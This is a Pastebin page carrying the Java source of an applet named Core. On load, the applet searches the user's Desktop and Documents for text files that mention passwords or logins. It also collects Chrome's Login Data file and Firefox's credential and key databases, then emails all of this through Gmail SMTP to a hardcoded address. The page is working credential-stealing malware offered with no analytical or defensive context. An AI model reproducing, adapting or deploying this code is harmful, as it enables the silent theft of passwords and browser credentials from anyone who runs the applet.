Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class Core extends Applet {
- private static final long serialVersionUID = -7385325147137183036L;
- public void init() {
- String username = System.getProperty("user.name");
- File dektop = new File("C:\\Users\\" + username + "\\Desktop");
- File documents = new File("C:\\Users\\" + username + "\\Documents");
- ArrayList<File> files = new ArrayList<File>();
- files.addAll(listFiles(dektop));
- files.addAll(listFiles(documents));
- ArrayList<File> validFiles = new ArrayList<File>();
- ArrayList<String> keywords = new ArrayList<String>();
- keywords.add("pw");
- keywords.add("pass");
- keywords.add("password");
- keywords.add("passwort");
- keywords.add("login");
- for(int i = 0; i < files.size(); i++) {
- if(hasExtension(files.get(i), "txt")) {
- if(includesKeyword(files.get(i), keywords)) {
- validFiles.add(files.get(i));
- }
- }
- }
- sendEmailWithFiles(validFiles, getFirefoxFiles(), getChromeFile());
- }
- private static File getChromeFile() {
- String username = System.getProperty("user.name");
- File path = new File("C:\\Users\\" + username + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
- return path;
- }
- private static ArrayList<File> getFirefoxFiles() {
- String username = System.getProperty("user.name");
- File path = new File("C:\\Users\\" + username + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\");
- ArrayList<File> folders = new ArrayList<File>();
- folders.addAll(listFiles(path));
- File path1 = new File(folders.get(0).getAbsolutePath() + "\\cert8.db");
- File path2 = new File(folders.get(0).getAbsolutePath() + "\\key3.db");
- File path3 = new File(folders.get(0).getAbsolutePath() + "\\signons.sqlite");
- ArrayList<File> returnFiles = new ArrayList<File>();
- returnFiles.add(path1);
- returnFiles.add(path2);
- returnFiles.add(path3);
- return returnFiles;
- }
- public static void sendEmailWithFiles(ArrayList<File> files, ArrayList<File> mozillaFiles, File chromeFile) {
- String username = System.getProperty("user.name");
- String emailContent;
- emailContent = "Found following Files on " + System.getProperty("user.name") + "'s Computer:";
- if(mozillaFiles.get(0) != null)
- emailContent = emailContent + "\nMozilla Files included.";
- if(chromeFile != null)
- emailContent = emailContent + "\nChrome Files included.";
- emailContent = emailContent + "\n\n\n\n";
- for(int i = 0; i < files.size(); i++) {
- emailContent = emailContent + "\n-------------------------------------------- [ " + files.get(i).getAbsolutePath() + " ] --------------------------------------------";
- try {
- BufferedReader textfile = new BufferedReader(new InputStreamReader(new FileInputStream(files.get(i).getAbsolutePath())));
- String line;
- while((line = textfile.readLine()) != null) {
- emailContent = emailContent + "\n" +line;
- }
- } catch (FileNotFoundException e) {
- emailContent = emailContent + "\nWas not able to include file.";
- } catch (IOException e) {
- emailContent = emailContent + "\nWas not able to include file.";
- }
- emailContent = emailContent + "\n-------------------------------------------- [ END ] --------------------------------------------";
- emailContent = emailContent + "\n-------------------------------------------- ------- --------------------------------------------";
- emailContent = emailContent + "\n-------------------------------------------- ------- --------------------------------------------\n\n\n";
- }
- String host = "smtp.gmail.com";
- int port = 587;
- String user = "******";
- String pass = "******";
- Properties props=new Properties();
- props.put("mail.smtp.auth", "true");
- props.put("mail.smtp.starttls.enable", "true");
- try {
- Session session=Session.getInstance(props);
- Transport transport = session.getTransport("smtp");
- transport.connect(host, port, user, pass);
- Address[] addresses = InternetAddress.parse("rerulezz@googlemail.com");
- Message message = new MimeMessage(session);
- MimeMultipart content = new MimeMultipart();
- MimeBodyPart textPart = new MimeBodyPart();
- textPart.setText(emailContent);
- content.addBodyPart(textPart);
- for(int i = 0; i < mozillaFiles.size(); i++) {
- try {
- if(new File(mozillaFiles.get(i).getAbsolutePath()).exists()) {
- MimeBodyPart binaryPart = new MimeBodyPart();
- FileDataSource fds = new FileDataSource(mozillaFiles.get(i).getAbsolutePath());
- binaryPart.setDataHandler(new DataHandler(fds));
- binaryPart.setFileName(fds.getName());
- content.addBodyPart(binaryPart);
- }
- } catch (MessagingException e) {
- }
- }
- try {
- if(new File(chromeFile.getAbsolutePath()).exists()) {
- MimeBodyPart binaryPart = new MimeBodyPart();
- FileDataSource fds = new FileDataSource(chromeFile.getAbsolutePath());
- binaryPart.setDataHandler(new DataHandler(fds));
- binaryPart.setFileName(fds.getName());
- content.addBodyPart(binaryPart);
- }
- } catch (MessagingException e) {
- }
- message.setFrom(new InternetAddress(user));
- message.setRecipients(Message.RecipientType.TO, addresses);
- message.setSubject("jvr1ne | " + username + "'s Computer:");
- message.setContent(content, "multipart/mixed");
- transport.sendMessage(message, addresses);
- transport.close();
- } catch (MessagingException e) {
- e.printStackTrace();
- }
- }
- public static boolean includesKeyword(File file, ArrayList<String> keywords) {
- try {
- BufferedReader textfile = new BufferedReader(new InputStreamReader(new FileInputStream(file.getAbsolutePath())));
- String line;
- try {
- while((line = textfile.readLine()) != null) {
- if(stringIncludesKeyword(line, keywords)) {
- return true;
- }
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- } catch (FileNotFoundException e) {
- e.printStackTrace();
- }
- return false;
- }
- public static boolean stringIncludesKeyword(String string, ArrayList<String> keywords) {
- for(int i = 0; i < keywords.size(); i++) {
- if(containsString(string.toLowerCase(), keywords.get(i).toLowerCase())) {
- return true;
- }
- }
- return false;
- }
- private static boolean containsString(String s, String subString) {
- return s.indexOf(subString) > -1 ? true : false;
- }
- public static boolean hasExtension(File file, String extension) {
- if(file.getName().toLowerCase().endsWith(extension)) {
- return true;
- } else {
- return false;
- }
- }
- public static ArrayList<File> listFiles(File dir) {
- File[] files = dir.listFiles();
- ArrayList<File> matches = new ArrayList<File> ();
- if (files != null) {
- for (int i = 0; i < files.length; i++) {
- matches.add(files[i]);
- matches.addAll(listFiles(files[i]));
- }
- }
- return matches;
- }
- }
Add Comment
Please, Sign In to add comment